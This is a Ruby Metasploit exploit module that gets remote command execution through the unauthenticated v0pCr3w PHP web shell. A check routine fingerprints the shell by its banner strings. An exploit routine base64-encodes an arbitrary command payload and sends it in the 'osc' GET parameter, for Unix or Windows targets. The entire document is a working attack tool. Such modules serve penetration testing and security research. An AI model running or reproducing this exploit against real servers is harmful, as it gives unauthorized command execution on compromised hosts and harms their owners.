v0pCr3w Web Shell Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'v0pCr3w Web Shell Remote Code Execution',
        'Description' => %q{
          This module exploits a lack of authentication in the shell developed by v0pCr3w
          and is widely reused in automated RFI payloads. This module takes advantage of the
          shell's various methods to execute commands.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module
        ],
        'References' => [
          [ 'OSVDB', '91841'],
          [ 'URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell' ],
          [ 'URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0' ]
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd'
                        }
        },
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['v0pCr3w / Unix', { 'Platform' => 'unix' } ],
          ['v0pCr3w / Windows', { 'Platform' => 'win' } ]
        ],
        'DisclosureDate' => '2013-03-23',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the v0pCr3w shell', '/jos.php']),
      ]
    )
  end

  def check
    shell = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path.to_s),
      'vars_get' => {
        'lol' => '1'
      }
    })
    if (shell and shell.body =~ /v0pCr3w<br>/ and shell.body =~ /<br>nob0dyCr3w/)
      return Exploit::CheckCode::Vulnerable('Successfully verified webshell command execution')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def http_send_command(cmd)
    p = Rex::Text.encode_base64(cmd)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path.to_s),
      'vars_get' => {
        'osc' => p
      }
    })
    if !(res and res.code == 200)
      fail_with(Failure::Unknown, 'Failed to execute the command.')
    end
  end

  def exploit
    http_send_command(payload.encoded)
  end
end